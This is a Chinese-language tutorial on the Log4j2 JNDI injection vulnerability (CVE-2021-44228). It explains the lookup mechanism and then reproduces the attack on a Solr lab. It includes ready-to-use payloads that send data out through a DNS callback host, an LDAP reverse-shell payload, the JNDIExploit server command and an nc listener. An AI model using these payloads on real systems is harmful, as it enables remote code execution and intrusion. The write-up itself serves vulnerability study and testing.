log4j2 简介
log4j2 是 Java 平台上一种流行的日志管理框架,也是 log4j 的升级版本。它提供了高度灵活和可配置的日志记录功能,可以用于在应用程序中生成、管理和输出日志信息。
漏洞描述
Apache Log4j 是 Apache 的一个开源项目,Apache log4j2 是 Log4j 的升级版本,用户可以控制日志信息输送的目的地为控制台、文件、GUI 组件等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。
Log4j2 中存在 JNDI 注入漏洞,当程序将用户输入的数据进行日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。该漏洞影响 Apache Struts、Apache Solr、Apache Druid、Apache Filnk 等众多组件,漏洞影响面大,危害性高。
漏洞适用版本
2.0 <= Apache log4j2 <= 2.14.1
漏洞原理
Apache log4j2-RCE 漏洞是由于 Log4j2 提供的 lookup 功能下的 Jndi Lookup 模块出现问题所导致的,这个模块在进行日志输出的时候可以通过对应的协议去访问服务器资源,但是对请求的数据内容又没有进行严格过滤,最终导致 Log4j2 去请求有恶意代码的服务器资源,从而造成远程代码执行导致命令执行。
log4j
一款通用的日志记录工具,可以通过简单表达式记录内容。
这里的例子使用的是 sys 解析器(sys:user.dir)
1 | logger.info("system propety: ${sys:user.dir}"); |
lookup
Lookup 是一种机制,用于动态获取和替换日志记录中的变量或属性的值。
1 | ${date}:获取当前日期和时间,支持自定义格式。 |
jndi 解析器
JNDI(Java Naming and Directory Interface)是 Java 提供的一种标准的 API,用于访问命名和目录服务,例如 DNS、LDAP 等。JNDI 提供了一种统一的方式来查找和访问各种命名服务,使得 Java 应用程序可以方便地与这些服务进行交互。
在 JNDI 中,解析器(Resolver)是一个关键的组件。解析器用于将给定的名称解析为其对应的目标对象。JNDI 提供了多种类型的解析器,根据不同的命名服务类型选择不同的解析器进行使用。
常见的 JNDI 解析器包括:
LDAP 解析器
用于解析 LDAP(轻量级目录访问协议)服务中的名称,将名称映射到目标对象,例如用户、组织等。
DNS 解析器
用于解析 DNS(域名系统)服务中的名称,将主机名解析为其对应的 IP 地址。
RMI 解析器
用于解析 RMI(远程方法调用)服务中的名称,将名称映射到远程对象。
JDBC 解析器
用于解析 JDBC(Java 数据库连接)服务中的数据源名称,将数据源名称解析为其对应的数据库连接。
JMS 解析器
用于解析 JMS(Java 消息服务)服务中的队列名称或主题名称,将名称解析为其对应的消息队列或主题。
攻击过程
攻击一般使用 ldap、rmi 进行注入,大致过程一般如下:
- 发送请求语句
1 | ${jndi://rmi:服务器地址/Exploit} |
-
解析语句内容后对服务器资源发起请求。
-
请求到资源后,下载 class 恶意文件并且执行代码,最终造成命令执行。
漏洞复现和利用
- 漏洞环境
1 | cd /log4j/CVE-2021-44228 |
- 检测漏洞
使用 ldap 解析器,配合 doslog 回显平台,查看测试情况。
1 | http://x.x.x.x:8983/solr/admin/cores?action=${jndi:ldap://baec1688.dns.whitehat.asia.} |
可以显而易见看到存在漏洞,并且有回显数据。
- 带外回显数据
1 | http://x.x.x.x:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.baec1688.dns.whitehat.asia.} |
1 | http://目标机IP:8983/solr/admin/cores?action=${jndi:ldap://x.x.x.x:1389/Basic/ReverseShell/x.x.x.x/6666} |
1 | java -jar JNDIExploit-1.4-SNAPSHOT.jar -i x.x.x.x |
1 | nc -lvvp 6666 |